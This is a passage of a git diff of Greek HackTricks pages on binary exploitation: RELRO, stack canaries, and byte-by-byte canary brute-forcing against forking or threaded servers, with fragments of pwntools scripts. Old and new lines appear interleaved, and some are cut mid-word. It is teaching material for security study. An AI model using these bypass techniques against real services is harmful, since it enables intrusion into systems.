Σύμφωνα με [**μερικές παρατηρήσεις από αυτήν την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), είναι δυνατόν όταν διαρρέει τις τιμές RBP και RIP, ο διακομιστής να μην καταρρέει με μερικές τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι πήρε τις σωστές. Αυτό συμβαίνει επειδή είναι δυνατόν ότι **μερικές διευθύνσεις απλά δεν θα το σπάσουν ακόμα κι αν δεν είναι ακριβώς οι σωστές**.
Σύμφωνα με αυτήν την ανάρτηση στο blog, συνιστάται να προστεθεί μια μικρή καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή.

View file

@ -1,41 +1,25 @@
# Relro
<details>
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. Let's break down the concept into its two distinct types for clarity: **Partial RELRO** and **Full RELRO**.
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
### **Partial RELRO**
Άλλοι τρόποι υποστήριξης του HackTricks:
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. By **positioning the GOT above the program's variables in memory, Partial RELRO aims to prevent buffer overflows from reaching and corrupting the GOT**.&#x20;
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
</details>
### **Full RELRO**
## Relro
**Full RELRO** steps up the protection by **making the GOT and .fini\_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**RELRO** σημαίνει **Relocation Read-Only** και είναι μια λειτουργία ασφαλείας που χρησιμοποιείται σε δυαδικά αρχεία για τη μείωση των κινδύνων που σχετίζονται με την αντικατάσταση του **GOT (Global Offset Table)**. Ας αναλύσουμε τον όρο σε δύο διακριτούς τύπους για σαφήνεια: **Μερικό RELRO** και **Πλήρες RELRO**.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
### **Μερικό RELRO**
Το **Μερικό RELRO** ακολουθεί μια απλούστερη προσέγγιση για την ενίσχυση της ασφάλειας χωρίς να επηρεάζει σημαντικά την απόδοση του δυαδικού. Με τον **τοποθετώντας το GOT πάνω από τις μεταβλητές του προγράμματος στη μνήμη, το Μερικό RELRO στοχεύει στο να αποτρέψει την επικάλυψη του GOT από buffer overflows**.&#x20;
Αυτό **δεν αποτρέπει το GOT** από την κατάχρηση **από ευπάθειες αυθαίρετης εγγραφής**.
### **Πλήρες RELRO**
Το **Πλήρες RELRO** αυξάνει την προστασία με το **κάνοντας το GOT και την ενότητα .fini\_array** εντελώς **μόνο για ανάγνωση.** Μόλις το δυαδικό ξεκινά, όλες οι διευθύνσεις λειτουργιών επιλύονται και φορτώνονται στο GOT, στη συνέχεια, το GOT επισημαίνεται ως μόνο για ανάγνωση, αποτρέποντας αποτελεσματικά οποιεσδήποτε τροποποιήσεις κατά τη διάρκεια της εκτέλεσης.
Ωστόσο, το συμβιβασμός με το Πλήρες RELRO είναι σε όρους απόδοσης και χρόνου εκκίνησης. Επειδή χρειάζεται να επιλύσει όλα τα δυναμικά σύμβολα κατά την εκκίνηση πριν επισημάνει το GOT ως μόνο για ανάγνωση, **τα δυαδικά με ενεργοποιημένο το Πλήρες RELRO μπορεί να βιώσουν μεγαλύτερους χρόνους φόρτωσης**. Αυτό το επιπλέον χρονικό κόστος εκκίνησης είναι ο λόγος που το Πλήρες RELRO δεν είναι ενεργοποιημένο από προεπιλογή σε όλα τα δυαδικά.
Είναι δυνατόν να δείτε αν το Πλήρες RELRO είναι **ενεργοποιημένο** σε ένα δυαδικό με:
It's possible to see if Full RELRO is **enabled** in a binary with:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
Εάν η πλήρης RELRO είναι ενεργοποιημένη, ο μόνος τρόπος να την παρακάμψετε είναι να βρείτε άλλον τρόπο που δεν χρειάζεται να γράψετε στον πίνακα GOT για να λάβετε αυθαίρετη εκτέλεση.
Εάν η πλήρης RELRO είναι ενεργοποιημένη, ο μόνος τρόπος να την παρακάμψετε είναι να βρείτε άλλον τρόπο που δεν χρειάζεται να γράψετε στον πίνακα GOT για να έχετε αυθαίρετη εκτέλεση.
Σημειώστε ότι **ο πίνακας GOT της LIBC είναι συνήθως μερικής RELRO**, έτσι μπορεί να τροποποιηθεί με μια αυθαίρετη εγγραφή. Περισσότερες πληροφορίες στο [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**

View file

@ -1,34 +1,35 @@
# Κανάρια Στοίβας
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## **StackGuard και StackShield**
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, newline, EOF, carriage return) για προστασία από υπερχείλιση buffer. Ωστόσο, λειτουργίες όπως `recv()`, `memcpy()`, `read()` και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, newline, EOF, carriage return) για προστασία από υπερχείλιση buffer. Ωστόσο, συναρτήσεις όπως `recv()`, `memcpy()`, `read()`, και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming) ή ret2ret, υποδηλώνοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming), ή ret2ret, υποδηλώνοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
## **Προστάτης Καταποντισμού Στοίβας (ProPolice) `-fstack-protector`:**
## **Προστάτης Καταστροφής Στοίβας (ProPolice) `-fstack-protector`:**
Αυτός ο μηχανισμός τοποθετεί ένα **κανάριο** πριν από το **EBP**, και αναδιατάσσει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την υπεργραφή άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα ορίσματα που περνιούνται στη στοίβα πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτές τις αντιγραφές ως ορίσματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers μέσα σε δομή χρήστη.
Αυτός ο μηχανισμός τοποθετεί ένα **κανάριο** πριν από το **EBP**, και αναδιατάσσει τις τοπικές μεταβλητές ώστε να τοποθετούνται τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την υπεργραφή άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα ορίσματα που περνιούνται στη στοίβα πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτές τις αντιγραφές ως ορίσματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers μέσα σε δομή χρήστη.
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκη Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν νήμα-συγκεκριμένες παγκόσμιες ή στατικές μεταβλητές. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες-παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκη Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν νήμα-συγκεκριμένες γενικές ή στατικές μεταβλητές. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες-παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
Αυτή η τοπική προστασία αναγνωρίζει λειτουργίες με buffers ευάλωτα σε επιθέσεις και ενθέτει κώδικα στην αρχή αυτών των λειτουργιών για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
Αυτή η τοπική προστασία αναγνωρίζει συναρτήσεις με buffers ευάλωτους σε επιθέσεις και ενθάρρυνει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, ενεργοποιεί μια επίθεση βίας για να μαντέψει το κανάρι byte με byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία-παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασιών και στη διαχείριση μνήμης.
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, επιτρέπει μια επίθεση με βία για να μαντέψει το κανάρι byte προς byte. Ωστόσο, χρησιμοποιώντας το `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία-παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασίας και στη διαχείριση μνήμης.
### Μήκη
@ -37,14 +38,14 @@
Σε δυαδικά `x86`, το κανάρι cookie είναι ένα **`0x4`** byte dword. Τα **πρώτα τρία bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte**.
{% hint style="danger" %}
Το λιγότερο σημαντικό byte και των δύο καναριών είναι ένα null byte επειδή θα είναι το πρώτο στη στοίβα προερχόμενο από χαμηλότερες διευθύνσεις και επομένως **οι λειτουργίες που διαβάζουν συμβολοσειρές θα σταματήσουν πριν το διαβάσουν**.
Το λιγότερο σημαντικό byte και των δύο καναριών είναι ένα null byte επειδή θα είναι το πρώτο στη στοίβα προερχόμενο από χαμηλότερες διευθύνσεις και επομένως **οι συναρτήσεις που διαβάζουν συμβολοσειρές θα σταματήσουν πριν την ανάγνωσή του**.
{% endhint %}
## Παρακάμψεις
**Διαρροή του καναριού** και στη συνέχεια υπεργραφή του (π.χ. υπερχείλιση buffer) με τη δική του τιμή.
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθεί** ένα byte κάθε φορά:
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθείτε με βία** ένα byte κάθε φορά:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
@ -58,23 +59,30 @@
* **Υπεργραφή δεικτών αποθηκευμένων στη στοίβα**
Η στοίβα που είναι ευάλωτη σε υπερχείλιση στοίβας μπορεί **να περιέχει διευθύνσεις σε συμβολοσειρές ή λειτουργίες που μπορούν να υπεργραφούν** για να εκ
Η στοίβα που είναι ευάλωτη σε υπερχείλιση μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να υπεργραφούν** για να εκμεταλλευτεί την ευπάθεια χωρίς την ανάγκη να φτάσει το κανάρι της στοίβας. Ελέγξτε:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
* **Τροποποίηση του κυρ
## Αναφορές
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# BF Forked & Threaded Stack Canaries
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεται να βρείτε έναν τρόπο να τα παρακάμψετε.**
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε έναν τρόπο για να τα παρακάμψετε.**
![](<../../../.gitbook/assets/image (862).png>)
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary εάν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό εάν διαπιστώσετε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν από την έξοδο.
{% endhint %}
## Βίαιη δύναμη Canary
Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι αν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι εάν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν ο υπολογισμένος χαρακτήρας canary ήταν σωστός ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού υπολογισμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς **ελέγχοντας** αν ένας **αποκρίνεται** επιστρέφεται από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
Στη συνέχεια, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε εάν το μάντεψε canary byte ήταν σωστό ελέγχοντας εάν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού μαντεμένου byte και ενός κακού byte απλώς **ελέγχοντας** αν ένα **αποτέλεσμα** επιστρέφεται από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
### Παράδειγμα 1
Αυτό το παράδειγμα είναι υλοποιημένο για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί για 32 bit.
Αυτό το παράδειγμα υλοποιείται για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί για 32 bit.
```python
from pwn import *
@ -73,7 +74,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Παράδειγμα 2
Αυτό υλοποιείται για 32 bits, αλλά μπορεί εύκολα να αλλάξει σε 64 bits.\
Επίσης, να σημειωθεί ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και τη φορτίο.
Επίσης, σημειώστε ότι για αυτό το παράδειγμα το πρόγραμμα περιμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου και του φορτίου.
```python
from pwn import *
@ -116,7 +117,7 @@ log.info(f"The canary is: {canary}")
```
## Νήματα
Τα νήματα της ίδιας διεργασίας θα **μοιράζονται το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να **δοκιμαστεί βίαια** ένα canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.&#x20;
Τα νήματα του ίδιου διεργασίας θα **μοιράζονται το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να **δοκιμαστεί βίαια** ένα canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
Επιπλέον, μια **υπερχείλιση buffer σε μια συνάρτηση με νήματα** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει τον κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή είναι πιθανό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και, συνεπώς, το canary) μέσω μιας **υπερχείλισης buffer στη στοίβα** ενός νήματος.\
Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\

View file

@ -1,39 +1,40 @@
# Εκτύπωση Stack Canary
{% hint style="success" %}
